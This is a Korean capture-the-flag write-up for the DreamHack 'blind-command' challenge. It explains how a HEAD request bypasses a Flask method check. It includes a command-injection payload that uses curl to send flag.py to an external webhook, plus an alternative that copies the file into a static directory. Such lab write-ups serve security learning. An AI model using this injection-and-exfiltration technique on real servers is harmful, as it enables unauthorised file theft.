๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
๐ŸดCTF/DreamHack

DreamHack - blind-command ํ’€์ด

by Janger 2023. 9. 7.
728x90
๋ฐ˜์‘ํ˜•

https://dreamhack.io/wargame/challenges/73

 

blind-command

Read the flag file XD Reference Server-side Basic Server-side Advanced - Command Injection

dreamhack.io

 

ํ•ด๊ฒฐ ์กฐ๊ฑด

  1. ์‚ฌ์šฉ์ž๋กœ๋ถ€ํ„ฐ GET Method๋ฅผ ์š”์ฒญ๋ฐ›์•„์•ผ ํ•จ
  2. cmd๋ผ๋Š” GET ํŒŒ๋ผ๋ฏธํ„ฐ ๊ฐ’์„ ์ „๋‹ฌ๋ฐ›์•„์•ผ ํ•จ
  3. request.method๊ฐ€ GET์ด ์•„๋‹ˆ์–ด์•ผ ํ•จ

ํ•ด๊ฒฐ ์กฐ๊ฑด 1๋ฒˆ๊ณผ 3๋ฒˆ์ด ์ข€ ๋ชจ์ˆœ์ด ๋œ๋‹ค.
์ฝ”๋“œ์˜ 7๋ฒˆ์งธ ๋ผ์ธ @app.route('/' , methods=['GET'])์— ์ธํ•ด GET ์™ธ์— ๋‹ค๋ฅธ Method๋ฅผ ์ „์†กํ•˜๋ฉด 405(METHOD NOT ALLOWED) ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค. ํ•˜์ง€๋งŒ 14๋ฒˆ์งธ ๋ผ์ธ if๋ฌธ์— ์˜ํ•ด request.method๊ฐ€ "GET"์ผ ๊ฒฝ์šฐ์— ์‹œ์Šคํ…œ ์ปค๋งจ๋“œ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•˜์ง€ ์•Š๊ณ  ๊ทธ๋ƒฅ ๋„˜์–ด๊ฐ„๋‹ค.

ํ•ด๊ฒฐ ์กฐ๊ฑด์— ๋งŒ์กฑํ•˜๋Š” Method๋“ค์„ ์ฐพ์•„๋ณธ ๊ฒฐ๊ณผ HEAD๊ฐ€ ์กด์žฌํ–ˆ๋‹ค. HEAD method๋Š” ์‹ค์ œ GET ์š”์ฒญ๊ณผ ๋™์ผํ•˜์ง€๋งŒ ์‘๋‹ต ๋ณธ๋ฌธ์ด ์—†๋Š” ์š”์ฒญ์„ ํ•˜๊ฒŒ ๋œ๋‹ค.

ํ•ด๊ฒฐ ๋ฐฉ๋ฒ•

์œ„์—์„œ ๋งํ•œ ๋Œ€๋กœ HEAD Method๋Š” body ์‘๋‹ต์ด ์—†๊ธฐ ๋•Œ๋ฌธ์— ํ”Œ๋ž˜๊ทธ ๊ฒฐ๊ณผ๋ฅผ ๊ฐ€์ ธ์˜ค๊ธฐ ์œ„ํ•ด ์›น ํ›…์„ ์‚ฌ์šฉํ•ด ์‹œ์Šคํ…œ์— ์žˆ๋Š” flag.py๋ผ๋Š” ํŒŒ์ผ์„ ์ „์†กํ•ด์•ผ ํ•œ๋‹ค.

import requests

requests.head("http://host3.dreamhack.games:{YOUR_PORT}?cmd=curl -F 'file1=@./flag.py' https://webhook.site/{YOUR_WEBHOOK_PATH}")

๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์œผ๋กœ๋Š” Flask ํ”„๋ ˆ์ž„์›Œํฌ์˜ ๊ธฐ๋Šฅ์„ ์ด์šฉํ•ด์„œ mkdir static; cat flag.py > static/result.txt ๊ฐ™์€ ๋ฐฉ์‹์œผ๋กœ ์ •์  ํŒŒ์ผ์„ ์ƒ์„ฑํ•ด ์›น ์„œ๋ฒ„์˜ ํ”Œ๋ž˜๊ทธ ๊ฐ’์ด ์ €์žฅ๋œ ์ •์  ํŒŒ์ผ์— ์ ‘๊ทผํ•˜๋Š” ๋ฐฉ๋ฒ•๋„ ์žˆ๋‹ค.

 

Reference

https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods

728x90
๋ฐ˜์‘ํ˜•